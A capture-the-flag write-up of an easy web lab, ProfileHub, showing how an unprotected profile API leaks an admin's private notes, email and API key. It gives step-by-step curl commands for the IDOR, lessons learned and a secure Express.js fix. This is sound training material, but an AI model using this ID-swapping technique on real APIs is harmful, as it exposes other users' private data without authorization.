Lab 15 — ProfileHub — IDOR in User Profile API
Lab 15 — ProfileHub — IDOR in User Profile API
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-26 | Status: Solved Techniques: api_endpoint_discovery_via_javascript_analysis, idor_exploitation_via_user_id_manipulation, web_vs_api_response_comparison
Summary
Task: Developer networking platform with public profiles and JSON API. Solution: Discovered IDOR in /api/users/{id}/profile endpoint that returns private data (including admin's private_notes with flag) without authorization check, while web interface properly filters sensitive fields.
Lab 15 — ProfileHub — IDOR in User Profile API — HackAdvisor
Description
ProfileHub is a developer networking platform where professionals showcase their skills, projects, and connect with other developers. The platform features public profiles, messaging, and connection management.
The developers claim that private user information is properly protected and only visible to the account owner. The platform has both a web interface and a JSON API — they may expose different levels of data.
Objective: Find an IDOR (Insecure Direct Object Reference) vulnerability that lets you access another user's private data. The flag is hidden in the admin user's private notes (user ID 1).
Test credentials: user@test.com / password123
Target: https://1e045177-f11f-4ba2-b834-a619bf897cf1.labs.hackadvisor.io/
Analysis
Reconnaissance
Express.js application behind nginx reverse proxy. Initial access redirects to /auth/login. HTML comments contain decoy flags to trick automated tools — these should be ignored.
After authenticating with test credentials (user@test.com / password123), we're logged in as user ID 2 (Alex Rivera).
Application Structure
- Web interface:
/profile/{id}— displays user profiles - Admin profile:
/profile/1(Sarah Chen, @admin) — visible but shows only public data - JavaScript:
/js/app.js— contains API endpoint references
Vulnerability Discovery
Examining /js/app.js reveals the API endpoint structure:
javascript read-only • copy allowedfetch("/api/users/" + userId + "/profile")
Testing the API endpoint for our own profile:
bash read-only • copy allowedcurl -b cookies.txt "https://[target]/api/users/2/profile"
Returns full profile including private fields:
private_notesapi_keyemailphoneinternal_role
Vulnerability: IDOR (Insecure Direct Object Reference)
The critical difference between web and API:
| Endpoint | Data Returned | Authorization |
|---|---|---|
/profile/1 (web) | Public only (name, bio, skills, projects) | ✓ Properly filtered |
/api/users/1/profile (API) | ALL data including private fields | ✗ No authorization check |
| |
The API verifies that the user is authenticated (has valid session) but does NOT verify they are authorized to view that specific user's private data.
Solution
Step 1: Authenticate and get session cookie
bash read-only • copy allowedcurl -c cookies.txt -X POST "https://[target]/auth/login" \ -d "email=user@test.com&password=password123"
Step 2: Discover API endpoint via JavaScript analysis
bash read-only • copy allowedcurl -b cookies.txt "https://[target]/js/app.js" | grep -i "api/users" # Found: fetch("/api/users/" + userId + "/profile")
Step 3: Exploit IDOR to access admin's private data
bash read-only • copy allowedcurl -s -b cookies.txt "https://[target]/api/users/1/profile" | jq .
Response:
json read-only • copy allowed{ "id": 1, "username": "admin", "name": "Sarah Chen", "email": "admin@profilehub.io", "phone": "+1-415-555-0100", "bio": "...", "skills": [...], "projects": [...], "private_notes": "FLAG{REDACTED}", "api_key": "phub_admin_c9b515f5a72c20fdb01aa358b8f9e819", "internal_role": "superadmin" }
Step 4: Extract flag
bash read-only • copy allowedcurl -s -b cookies.txt "https://[target]/api/users/1/profile" | jq -r .private_notes
Output: FLAG{REDACTED}
Lessons
-
Always compare web vs API responses: Web interfaces often have proper filtering, but underlying APIs may expose raw data.
-
JavaScript analysis is essential: Frontend code often reveals API endpoints, parameters, and data structures.
-
Authentication != Authorization: Checking if a user is logged in is not the same as checking if they can access a specific resource.
-
IDOR in APIs is extremely common: REST APIs with resource IDs in URLs are prime targets for IDOR testing.
-
Ignore decoy flags: CTF challenges may include fake flags in HTML comments to mislead automated tools.
Secure Alternative
javascript read-only • copy allowed// Express.js - Proper authorization check app.get('/api/users/:id/profile', authenticate, (req, res) => { const requestedId = parseInt(req.params.id); const loggedInId = req.session.userId; // Get user data const user = getUserById(requestedId); // Authorization check: only return private data for own profile if (requestedId === loggedInId) { return res.json(user); // Full profile with private fields } else { // Return only public fields for other users return res.json({ id: user.id, username: user.username, name: user.name, bio: user.bio, skills: user.skills, projects: user.projects // Exclude: private_notes, api_key, email, phone, internal_role }); } });